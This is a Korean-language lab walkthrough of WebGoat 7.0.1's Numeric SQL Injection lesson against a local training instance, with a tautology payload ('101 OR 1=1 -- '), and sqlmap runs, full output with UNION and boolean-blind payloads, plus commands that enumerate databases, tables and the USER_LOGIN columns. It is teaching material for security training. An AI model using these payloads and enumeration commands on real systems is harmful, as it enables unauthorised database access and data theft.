WebGoat: Numeric SQL Injection

홈페이지 취약점 분석 이야기	파일 지도 사진 깨알

>> 목록보이기
#OWASP WebGoat #웹해킹 실습 #실습설명서 #SQL구문삽입 #SQL Injection #Firebug #sqlmap #hsqldb #A1-Injection

WebGoat 숫자 SQL구문삽입 (Numeric SQL Injection) 실습설명서

이 문서는 WebGoat 7.0.1의 "Injection Flaws" > "Numeric SQL Injection"의 실습 설명서이다. 웹브라우저가 전달하는 사용자의 입력값을 서버가 검증하지 않고 SQL해석기(SQL Parser)에 전달할 때 발생할 수 있는 문제점을 배울 수 있다.

WH-WebGoat-7.0.1 웹해킹 훈련장을 구동한다. 구동에 관해서는 WH-WebGoat-7.0.1 라이브 ISO 문서를 참조한다. 여기서 WebGoat 훈련장의 IP주소는 192.168.189.238이다.

WebGoat 실행이 완료되면 파이어폭스(FireFox) 웹브라우저로 훈련장에 접속한다. 훈련장 URL은 http://192.168.189.238:8080/WebGoat/이다. 그리고 OWASP ZAP을 실행한다.

firefox http://192.168.189.238:8080/WebGoat/
owasp-zap 2&> /dev/null

Firefox의 Preferences > Adanaced > Network > Settings...에서 HTTP 프록시를 OWASP-ZAP의 프록시 포트인 127.0.0.1:8080에 연결한다.

Injection Flaws: Numeric SQL Injection 공략

Firefox 웹 브라우저로 WebGoat의 Numeric SQL Injection 실습문제에 접속해보자.

WebGoat Numeric SQL Injection: 홈페이지
[ ↑ WebGoat: Numeric SQL Injeciton, 첫 화면 ]

Columbia, Seattle, New York, Houston의 넷 중에서 한 지역을 선택하여 해당 지역의 최저, 최대 온도(화씨)를 열람할 수 있는 웹 애플리케이션이다. Columbia를 선택하여 "Go!"를 누른다. Go!

WebGoat Numeric SQL Injection: Columbia
[ ↑ WebGoat: Numeric SQL Injeciton, Columbia 선택 결과 ]

결과 화면에서 SELECT * FROM weather_data WHERE station = 101라는 SQL문이 출력된다. Columbia의 station 변수 값은 101이다. 콜럼비아는 메릴랜드 주(MD)에 위치하고 있는 도시이며 연중 최저 기온은 화씨 영하 10도(-23도씨), 최고 기온은 화씨 영상 102도(39도씨)이다.

GET http://192.168.189.238:8080/WebGoat/attack?Screen=292&menu=1100&station=101&SUBMIT=Go! HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: */*
Accept-Language: en-US,en;q=0.5
X-Requested-With: XMLHttpRequest
Referer: http://192.168.189.238:8080/WebGoat/start.mvc
Cookie: JSESSIONID=C8248ABD080623DF6BC1E1B5C3D1C6B9
Connection: keep-alive
Host: 192.168.189.238:8080

Columbia의 기후 정보를 열람할 때 사용한 HTTP 요청은 위와 같다. URL은 http://192.168.189.238:8080/WebGoat/attack?Screen=292&menu=1100&station=101&SUBMIT=Go!이다. HTTP 요청에서 Columbia는 station=101로 표현된다. 서버는 이 값을 이용하여 어딘가로 부터 기후정보를 가져올 것이다.

이 어딘가는 어디일까?

미국의 도시 수는 약 35000개라고 한다. 요즘 컴퓨터의 성능이면 파일 1개에 평문으로 저장해도 서비스하기에는 그다지 크지 않은 숫자다. 하지만 정보는 수시로 변하는 경향이 있기 때문에 평문파일로 저장하면 관리가 불편해진다. 이 때문에 - DBMS라는 과중한 소프트웨어를 도입해야 하지만 - 대용량 또는 수시로 변경되는 데이타 집합을 다룰 때는 데이타베이스를 사용하는 것이 일반적이다.

최근의 주요 DBMS는 대부분 관계형 DBMS이다. 관계형 DBMS에서 데이타의 소통을 위한 언어를 SQL(Structured Query Language)이라고 한다. SQL도 평문으로 구성되어 있다. 웹 애플리케이션은 사용자로부터 받은 입력값(데이타)을 SQL해석기(SQL parser)로 전달한다. 이때 제대로 된 검증기능이 없으면 문법(code)과 값(data)의 구분을 넘나들 수 있다.

WebGoat의 기후정보시스템도 관계형 DBMS 위에서 구현된 웹 애플리케이션일 것이다. 기후 정보는 아마도 DB에 저장되어 있을 것이다. 사용자의 입력은 101이라는 숫자였다. 데이터베이스를 열람하는 가장 기본적인 SQL 문법은 SELECT 컬럼 FROM 테이블 WHERE 조건이다. 예를 들어 이 문제에서는 SQL문이 SELECT * FROM weather_data WHERE station = 101임을 살펴본 바 있다. 이 SQL구문은 weather_data 테이블에서 station 컬럼의 값이 101인 항목을 가져오는 것이다.

SQL구문삽입의 단서는 작은따옴표(")를 삽입하여 그 결과를 살펴보는 것에서 부터 찾는다. SQL 문법에서 작은따옴표는 반드시 쌍으로 표기되어야 한다는 점을 이용한다. 다음과 같이 station 변수값을 입력해보자.

station=101%27 (101')

Error parsing station as a number: For input string: "101'"

작은 따옴표 하나를 추가했을 때 위와 같이 오류가 발생한다. parsing에서 오류가 발생한 것이므로 문법이 잘못된 것이다. 사용자가 입력한 작은따옴표는 데이타로 처리되어야 하지만 오류는 문법에서 발생했다. 이 웹 애플리케이션에는 데이타 검증에서 결함이 있는 것이다. SQL구문삽입의 단서다!!!

station=101%27%20OR%20A=A%20--%20 (101' OR A=A -- )

Error parsing station as a number: For input string: "101' OR A=A -- "

위와 같이 입력했을 때 -- 의 뒷 부분은 주석으로 처리된다. 만약 입력값을 작은따옴표로 묶는 방식이라면 문법적인 오류가 발생하지 않아야 한다. 이때 공격자가 예상한 SQL구문은 SELECT 컬럼 FROM 테이블 WHERE station='101' OR A=A -- '이다. 주석을 제외하면 작은따옴표가 두 개이기 때문에 문법이 맞아야 한다.

그런데 문법에서 오류가 발생하였다. 원인은 두 가지가 있다. 첫번째는 데이타를 큰따옴표(") 두 개로 표시할 경우이다. 두번째는 숫자는 따옴표 없이도 표시할 수 있기 때문인 경우이다.

WebGoat의 Numeric SQL Injection 문제에서는 숫자를 사용하므로 작은따옴표('를 사용하지 않는다고 추정하고 SQL구문삽입을 진행한다.

SQL 구문삽입 취약점을 공략할 입력값은 station=101%20OR%201=1%20--%20(station=101 OR 1=1 -- )이다.

WebGoat Numeric SQL Injection: HTML form edit with Firebug
[ ↑ WebGoat: Numeric SQL Injeciton, Firebug로 Columbia 선택 값을 조작 ]

이 문제에서는 HTML 속에 값이 표시되어 있으므로 위의 그림과 같이 Firebug 부가기능의 HTML 편집기능을 이용하여 값을 조작하였다. 조작이 끝나면 "Go!"를 누른다.

WebGoat Numeric SQL Injection: HTML form edit with Firebug, the Result
[ ↑ WebGoat: Numeric SQL Injeciton, 선택값 조작 결과 ]

서버의 응답에서 알려주는 SQL문은 SELECT * FROM weather_data WHERE station = 101 OR 1=1 -- 이다. 그리고 - 아마도 - 모든 데이타가 출력된다. Columbia, Seattle, New York, Houston 외에도 Camp David, Ice Station Zebra와 같이 공개되지 않은 데이터도 출력되었다. 공격자는 SQL구문삽입을 이용하여 서비스 제공자가 의도하지 않은 방법으로 데이터를 유출한 것이다.

SQL구문삽입에서 또 다른 숫자형 점검방법으로는 사칙연산을 이용할 수 있다. 1101-1000, 99%2B2 (99+2의 URL 인코딩이다), 1010/10 등이 101로 해석된다면 SQL구문삽입이 일어난 것으로 보면 된다. 이러한 사칙연산은 - 거의 100%의 확률로 - SQL해석기(SQL parser)가 수행할 것이기 때문이다.

sqlmap으로 SQL구문삽입 점검하기

다시 시작!

Restart Lesson!

WebGoat의 Numeric SQL Injection 문제에서 Restart Lesson을 눌러서 문제를 재시작한다. 그리고 다음과 같이 sqlmap을 사용해보자. --cookie의 값은 현재 자신이 접속한 세션쿠키 값으로 변경해야 한다.

 root@kali:~# sqlmap --cookie="JSESSIONID=C8248ABD080623DF6BC1E1B5C3D1C6B9" -u "http://192.168.189.238:8080/WebGoat/attack?Screen=292&menu=1100&station=101&SUBMIT=Go!" -p station
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.0.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 16:32:41

[16:32:41] [INFO] resuming back-end DBMS 'hsqldb' 
[16:32:41] [INFO] testing connection to the target URL
[16:32:41] [INFO] testing if the target URL is stable
[16:32:42] [INFO] target URL is stable
[16:32:42] [INFO] heuristic (basic) test shows that GET parameter 'station' might be injectable (possible DBMS: 'HSQLDB')
[16:32:42] [INFO] heuristic (XSS) test shows that GET parameter 'station' might be vulnerable to cross-site scripting attacks
[16:32:42] [INFO] testing for SQL injection on GET parameter 'station'
it looks like the back-end DBMS is 'HSQLDB'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
for the remaining tests, do you want to include all tests for 'HSQLDB' extending provided level (1) and risk (1) values? [Y/n] 
[16:32:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[16:32:50] [WARNING] reflective value(s) found and filtering out
[16:32:50] [INFO] GET parameter 'station' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="MD")
[16:32:50] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query - comment)'
[16:32:50] [WARNING] time-based comparison requires larger statistical model, please wait....................... (done)
[16:32:50] [INFO] testing 'HSQLDB >= 1.7.2 stacked queries (heavy query)'
[16:32:50] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query - comment)'
[16:32:50] [INFO] testing 'HSQLDB >= 2.0 stacked queries (heavy query)'
[16:32:50] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query)'
[16:32:50] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query)'
[16:32:50] [INFO] testing 'HSQLDB >= 1.7.2 AND time-based blind (heavy query - comment)'
[16:32:50] [INFO] testing 'HSQLDB >= 1.7.2 OR time-based blind (heavy query - comment)'
[16:32:50] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query)'
[16:32:50] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query)'
[16:32:50] [INFO] testing 'HSQLDB > 2.0 AND time-based blind (heavy query - comment)'
[16:32:50] [INFO] testing 'HSQLDB > 2.0 OR time-based blind (heavy query - comment)'
[16:32:50] [INFO] testing 'HSQLDB >= 1.7.2 time-based blind - Parameter replace (heavy query)'
[16:32:50] [INFO] testing 'HSQLDB > 2.0 time-based blind - Parameter replace (heavy query)'
[16:32:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[16:32:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[16:32:50] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[16:32:50] [INFO] target URL appears to have 5 columns in query
[16:32:50] [INFO] GET parameter 'station' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'station' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 51 HTTP(s) requests:
---
Parameter: station (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: Screen=292&menu=1100&station=101 AND 4701=4701&SUBMIT=Go!

    Type: UNION query
    Title: Generic UNION query (NULL) - 5 columns
    Payload: Screen=292&menu=1100&station=101 UNION ALL SELECT CHAR(113)||CHAR(107)||CHAR(113)||CHAR(122)||CHAR(113)||CHAR(69)||CHAR(78)||CHAR(122)||CHAR(74)||CHAR(101)||CHAR(72)||CHAR(105)||CHAR(115)||CHAR(84)||CHAR(89)||CHAR(119)||CHAR(90)||CHAR(65)||CHAR(98)||CHAR(108)||CHAR(67)||CHAR(121)||CHAR(75)||CHAR(72)||CHAR(101)||CHAR(70)||CHAR(98)||CHAR(117)||CHAR(69)||CHAR(77)||CHAR(87)||CHAR(90)||CHAR(78)||CHAR(99)||CHAR(102)||CHAR(112)||CHAR(100)||CHAR(108)||CHAR(73)||CHAR(105)||CHAR(99)||CHAR(85)||CHAR(121)||CHAR(112)||CHAR(83)||CHAR(113)||CHAR(112)||CHAR(113)||CHAR(118)||CHAR(113),NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SYSTEM_USERS-- mKPr&SUBMIT=Go!
---
[16:32:53] [INFO] the back-end DBMS is HSQLDB
back-end DBMS: HSQLDB 1.7.2
[16:32:53] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.189.238'

[*] shutting down at 16:32:53

root@kali:~#

sqlmap에서도 SQL인젝션이 가능함을 탐지할 수 있다.

sqlmap 사용법을 참조하면서 다음과 같이 계속 진행해 볼 수 있다.

sqlmap --cookie="JSESSIONID=C8248ABD080623DF6BC1E1B5C3D1C6B9" -u "http://192.168.189.238:8080/WebGoat/attack?Screen=292&menu=1100&station=101&SUBMIT=Go!" -p station --dbs
sqlmap --cookie="JSESSIONID=C8248ABD080623DF6BC1E1B5C3D1C6B9" -u "http://192.168.189.238:8080/WebGoat/attack?Screen=292&menu=1100&station=101&SUBMIT=Go!" -p station -D PUBLIC --tables
root@kali:~# sqlmap --cookie="JSESSIONID=C8248ABD080623DF6BC1E1B5C3D1C6B9" -u "http://192.168.189.238:8080/WebGoat/attack?Screen=292&menu=1100&station=101&SUBMIT=Go!" -p station -D PUBLIC -T USER_LOGIN --columns

WebGoat: Numeric SQL Injection 문제에서는 마지막 명령에서 실패하였다. 이 문제에서 sqlmap으로 추출한 정보는 다음과 같다.

available databases [2]:                                                                                 
[*] INFORMATION_SCHEMA
[*] PUBLIC

Database: PUBLIC                                                                                         
[16 tables]
+---------------------+
| AUTH                |
| EMPLOYEE            |
| MESSAGES            |
| MFE_IMAGES          |
| OWNERSHIP           |
| PINS                |
| PRODUCT_SYSTEM_DATA |
| ROLES               |
| SALARIES            |
| TAN                 |
| TRANSACTIONS        |
| USER_DATA           |
| USER_DATA_TAN       |
| USER_LOGIN          |
| USER_SYSTEM_DATA    |
| WEATHER_DATA        |
+---------------------+

[처음 작성한 날: 2016.12.16] [마지막으로 고친 날: 2016.12.16]

< 이전 글 : WebGoat: OS Command Injection (2016.12.15)

> 다음 글 : WebGoat: String SQL Injection (UNION기반 SQL 구문삽입의 이해) (2016.12.17)

이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문